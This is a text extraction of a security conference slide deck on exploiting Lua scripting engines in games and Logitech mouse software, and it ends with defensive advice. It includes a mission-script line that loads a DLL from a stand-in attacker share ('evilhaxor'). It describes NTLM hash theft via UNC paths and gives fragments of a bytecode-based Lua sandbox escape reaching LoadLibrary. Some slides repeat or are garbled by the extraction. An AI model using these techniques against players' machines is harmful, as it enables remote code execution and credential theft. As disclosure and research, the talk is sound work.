SHALL HE PLAY A GAME?
whoami

- Tamas Szakaly (sghctoma)
- from Hungary, the land of Pipacs, Palinka and gulash :)
- pentester/developer @ PRAUDIT
- OSCE
- part of team Prauditors, European champion of Global Cyberlympics 2012
I am not a computer nerd. I prefer to be called a hacker!

- a binary guy
- love crackmes and toying with protections
"I am not a computer nerd. I prefer to be called a hacker!"

- a binary guy
- love crackmes and toying with protections

prepare for big coming out:
whatami

- “I am not a computer nerd. I prefer to be called a hacker!”
- a binary guy
- love crackmes and toying with protections

prepare for big coming out:
I’ve been in love with the Win32 API for years :)

diamond
game modding

- the urge to make things better
- implement your own ideas
- custom content: maps, models, etc.

{ } to create
game modding

- the urge to make things better
- implement your own ideas
- custom content: maps, models, etc.
- share with others
  - http://www.moddb.com/
  - http://www.gamemodding.net/
- even get paid for them
  - Steam Workshop

Create, discover, and download content for your game
nobody plays alone

- data exchange between client and server
- complex data structures
- often obscure protocols
nobody plays alone

- data exchange between client and server
- complex data structures
- often obscure protocols

- fuzzing heaven!!!
- Game Engines: A 0-day’s Tale by ReVuln
scripting in games

- built-in scripting engines
- custom-made or embedded language
  - ARMA scripts
  - Lua-scripted video games @Wikipedia - 153 titles
  - Squirrel (Valve games)
- purpose: dynamic maps, AI, etc.
- available to modders
could scripts be really dangerous?

- downloaded from the server, or with custom maps
- runs on the gamer’s machine
- dangerous functionality (e.g. file I/O)
- poorly implemented sandboxes
- easy to exploit: no need to circumvent exploit mitigations
surely I’m not the first one ...
surely I’m not the first one ...
... so, why do this talk?

- game exploits are used to cheat
... so, why do this talk?

- game exploits are used to cheat
- but they can give access to your pc
... so, why do this talk?

- Game exploits are used to cheat
- But they can give access to your PC
- Also a gateway to your home network
  - Other computers
  - Routers
  - Phones (VOIP and mobile)
  - TV sets
  - Smart house components
  - Security cameras
... so, why do this talk?

- game exploits are used to cheat
- but they can give access to your pc
- also a gateway to your home network
  - other computers
  - routers
  - phones (VOIP and mobile)
  - TV sets
  - smart house components
  - security cameras

almost nobody seems to talk about this!!!
no sandbox in Sandbox

- target: Crysis 2 and the whole CryEngine3
- uses Lua as a scripting engine
- no sandbox whatsoever
- yes, we can even call os.execute
one of the reasons I love Win32

- Win32 APIs that work with files accept UNC paths
- yes, LoadLibrary and ShellExecute do too
- no need to write shellcode, we can load a DLL from a remote share
- or execute something from a remote share
- side effect: we can capture NTLM challenge-responses
PRESS START
disclaimer #1: intentionally left (almost) blank, didn’t want to fly in the face of fate.
disclaimer #2: no, I do not believe in the 23 Enigma, this slide is an attempted joke.
disclaimer #3: yes, I do realize that this intentionally-left-blank slide has more content than most of the others.
the kobold who hijacked EXEs

- target: DOTA 2
- another Lua-scriptable game
- there is a sandbox, but its leaky
- we can use the standard io library
  - use the SMB NT hash stealing trick
  - steal files
  - deploy autorun stuff
  - etc...
PRESS START
from crash to exploit

- target: Digital Combat Simulator (DCS World)
- THE combat flight simulator
- uses Lua for mission scripting
- another leaky sandbox
- reported one issue, found another one
quiz: where is the leak?

```lua
4  dofile('Scripts/ScriptingSystem.lua')
5
6  --Sanitize Mission Scripting environment
7  --This makes unavailable some unsecure functions.
8  --Mission downloaded from server to client may contain potentially
9  --harmful lua code that may use these functions.
10  --You can remove the code below and make available these functions
11  --at your own risk.
12
13  local function sanitizeModule(name)
14    _G[name] = nil
15    package.loaded[name] = nil
16  end
17
18  do
19    sanitizeModule('os')
20    sanitizeModule('io')
21    sanitizeModule('lfs')
22    require = nil
23    loadlib = nil
24  end
```
The title of this talk is a quote - who asked that question?
what is my favorite movie?
2 CONTINUOUS ACTION (Trigger 1429564447, ON)

ACTION: DO SCRIPT (package.loadlib)

TEXT: package.loadlib("\\\evilhaxor\\a\\DangerZone.dll", "dummy")
PRESS START >
when the gamer is the bad guy

- target: Armed Assault 3 (ARMA3)
- military combat simulator
- customizable squads (name, URL, logo, etc.)
- squad info from user-supplied URL
- squad info is XML... so, XXE? nope :(
- but hey, it’s an SSRF :)

XXE?
PRESS START
spy game

- target: Garry’s Mod
- a sandbox game based on Source Engine
- lots of Lua-related bugs
- lots of mitigations:
  - custom implementation for dangerous functions (e.g. `package.loadlib`)
  - restricted file I/O (directory traversal was possible, now it isn't)
  - proper Lua sandbox
tight sandbox, what to abuse?

### HTTPRequest Structure

Table used by [HTTP](#) function.

<table>
<thead>
<tr>
<th>Type</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>function</td>
<td>failed</td>
<td>Function to be called on failure. Arguments are</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• string reason</td>
</tr>
<tr>
<td>function</td>
<td>success</td>
<td>Function to be called on success. Arguments are</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• number code</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• string body</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• table headers</td>
</tr>
<tr>
<td>string</td>
<td>method</td>
<td>Request method. Possible values are:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• get</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• post</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• head</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• put</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• delete</td>
</tr>
<tr>
<td>string</td>
<td>url</td>
<td>The target url</td>
</tr>
<tr>
<td>table</td>
<td>parameters</td>
<td>KeyValue table for parameters</td>
</tr>
<tr>
<td>table</td>
<td>headers</td>
<td>Table of headers to use</td>
</tr>
</tbody>
</table>
PRESS START
you should be afraid of mice

- target: Logitech Gaming Software
- not a game, but a gaming mouse
- can create profiles for all G-series Logitech peripherals
- a Lua script is attached to these profiles
- can script peripheral behavior
- very tight Lua sandbox
@corsix’s black magic

西宁

- a beautiful Lua sandbox escape by @corsix (CoH 2 exploit)
- he abused handcrafted Lua bytecode
  1. string.dump to get bytecode string
  2. modify bytecode
  3. loadstring to load modified bytecode
@corsix’s black magic

- get memory address of variable as `double`
- hand-craft Lua variables pointing to arbitrary memory addresses
@corsix’s black magic

- get memory address of variable as `double`
- hand-craft Lua variables pointing to arbitrary memory addresses

arbitrary memory read-write
getting memory addresses

Lua number:
- double
- LUA_TNUMBER

Lua string:
- TString*
- LUA_TSTRING

- this part nops out OP_FORPREP in bytecode
- so “x” will be treated as LUA_TNUMBER
crafting arbitrary TV values

local function put_into_magic(n)
  upval = "nextnexttmpaddpa" .. qword_to_string(n)
  local upval_ptr = qword_to_string(add_dword_to_double(asnum(upval), 24))
  magic = upval_ptr .. upval_ptr .. upval_ptr
end

end:gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1)
crafting arbitrary TV alues

local function put into magic(n)
  upval = "nextnexttmpaddpa" .. qword_to_string(n)
  local upval_ptr = qword_to_string(add_qword_to_double(asnum(upval), 24))
  magic = upval_ptr .. upval_ptr .. upval_ptr
end
end):gsub("("100%z%z%z)..", "%\0\0\0\0\0\0\0", 1)

struct UpVal { GCObject *next; lua_byte tt; lua_byte marked; /*6 bytes padding*/ TValue *v; ... }
crafting arbitrary TV values

- get upval’s memory address as `double`

```plaintext
local function put_into_magic(n)
  upval = "nextnexttmpaddpa" .. qword_to_string(n)
  local upval_ptr = qword_to_string(add_dword_to_double(asnum(upval), 24))

  magic = upval_ptr .. upval_ptr .. upval_ptr
end

end):gsub("(\100%z%z\z)....", "%1\0\0\0\1", 1))
```
craefting arbitrary TV alues

- get upval’s memory address as `double`
- upval is a `TString` struct
- address of the actual character array?
crafting arbitrary TV alues

- get upval’s memory address as double
- upval is a TString struct
- address of the actual character array?
- add 24 to the address

```lua
87 local function put_into_magic(n)
88     upval = "nextnexttmpaddpa" .. qword_to_string(n)
89     local upval_ptr = qword_to_string(add_dword_to_double(asnum(upval), 24))
90     magic = upval_ptr .. upval_ptr .. upval_ptr
92 end

115 end):gsub("(\100\%\%\%\)....", "%1\0\0\0\1", 1))
```

<table>
<thead>
<tr>
<th>struct TString</th>
</tr>
</thead>
<tbody>
<tr>
<td>GCO bject *next</td>
</tr>
<tr>
<td>lua_byte tt</td>
</tr>
<tr>
<td>lua_byte marked</td>
</tr>
<tr>
<td>lua_byte reserved</td>
</tr>
<tr>
<td>hash</td>
</tr>
<tr>
<td>len</td>
</tr>
<tr>
<td>char s[len];</td>
</tr>
</tbody>
</table>

- 8 bytes
- 1 byte
- 1 byte
- 1 byte
- 1 byte
- 4 bytes
- 8 bytes
- len bytes

- 24 bytes
crafting arbitrary TV values

- modifies bytecode
- magic will point to the next call frame’s `LClosure`
crafting arbitrary TV values

- **concatenate upval’s address three times**
- **modifies bytecode**
- **magic will point to the next call frame’s **LClosure**
crafting arbitrary TV alues

```lua
87  local function put_into_magic(n)
88   upval = "nextnexttmpaddpa" .. qword_to_string(n)
89   local upval_ptr = qword_to_string(add_dword_to_double(asnum(upval), 24))
90   magic = upval_ptr .. upval_ptr .. upval_ptr
91  end
92
93  ...
94
95  end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1))
```

(summary: we can create a Lua variable that allows us to access data at any memory location of our choosing.)
what did @corsix do?

- created a coroutine variable with coroutine.wrap
- using coroutine.wrap creates a CClosure on the Lua stack
- this CClosure represents a function pointer to luaB_auxwrap
- replaced the CClosure’s function pointer with ll_loadlib
- it is basically a LoadLibrary wrapper
- called the coroutine
what did I do differently?

- mine is a 64 bit exploit
  - memory layout (struct packing)
  - calling convention (can’t modify function parameters)
  - sizeof(double) = sizeof(void *) on 64bit
  - the latter makes the exploit much simpler on 64bit
- calling LoadLibrary directly instead of ll_loadlib
Il_loadlib vs LoadLibrary

- A NSI-only Lua: Il_loadlib is just a stub - can’t use it
- call native functions directly
  - prototype must match CClosure’s function pointer’s:
    ```c
    typedef int (*lua_CFunction) (lua_State *L);
    ```
  - LoadLibrary is a good candidate (has one pointer parameter)
calling LoadLibrary

- get LoadLibraryA’s address
- replace luaB_auxwrap with LoadLibraryA
- overwrite the Lua state with the DLL name
  - can’t modify parameters (they are passed in registers)
  - we have to modify the data the parameter points to
- call the coroutine
difficulties

- how to get the address of the Lua state struct?
  - coroutine.running to the rescue
- seemingly random crashes
  - debug hooks have to be disabled
- more crashes
  - garbage collector has to be stopped
  - the overwritten Lua state has to be restored
- how to get LoadLibrary’s address?
getting LoadLibrary’s address

- **simple solution**
  1. get address diff of LoadLibrary and luaB_auxwrap from PE
  2. read address of luaB_auxwrap at runtime
  3. the rest is elementary school math

- **more generic solution (used in my Redis exploit)**
  1. get address to NT header
  2. get address of Import Directory
  3. search for KERNEL32.DLL
  4. get LoadLibrary’s address from IAT
restrictions

- only 16 bytes of the Lua state can be overwritten
- so DLL path must be ≤ 15 (+1 null byte)
  - if we use `LoadLibraryA` instead of `LoadLibraryW`
- while using UNC paths
  - we can omit the `.dll` extension
  - e.g. `\\evilhaxor\a\b`
  - so we’ve got 9 characters for an IP, a NETBIOS, or a domain name
endgame

✧ should we listen to Joshua?
✧ sad truth: we should be security-conscious even while leisuring
  ✧ don’t download anything from the Internet (duh!)
  ✧ don’t play on untrusted servers
  ✧ updates!! (Steam does this right)
✧ game devs: you should think through cool new features from a security standpoint too!
contact

- name: Tamas Szakaly
- mail: tamas.szakaly@praudit.hu
  sghctoma@gmail.com
- PGP fingerprint:
  4E1F 5E17 7A73 2C29 229A CD0B 4F2D 6CD0 9039 2984
- twitter: @sghctoma
links & credits

- [http://www.gamemodding.net/](http://www.gamemodding.net/)
- [http://revuln.com/files/ReVuln_Game_Engines_0days_tale.pdf](http://revuln.com/files/ReVuln_Game_Engines_0days_tale.pdf)
- [http://www.pcgamer.com/garrys-mod-cough-virus-is-cured-but-it-could-have-been-worse/](http://www.pcgamer.com/garrys-mod-cough-virus-is-cured-but-it-could-have-been-worse/)
- [http://www.valvertime.net/threads/gmod-has-a-lua-exploit-causing-mass-issues.244534/](http://www.valvertime.net/threads/gmod-has-a-lua-exploit-causing-mass-issues.244534/)
- [https://community.bistudio.com/wiki/](https://community.bistudio.com/wiki/)
- [https://gist.github.com/corsix/6575486](https://gist.github.com/corsix/6575486)
- [http://newsaint.deviantart.com/art/shall-we-play-a-game-168941908](http://newsaint.deviantart.com/art/shall-we-play-a-game-168941908) (image on the first slide is a modified version of this, released under CC BY-NC-SA 3.0 - [http://creativecommons.org/licenses/by-nc-sa/3.0/](http://creativecommons.org/licenses/by-nc-sa/3.0/))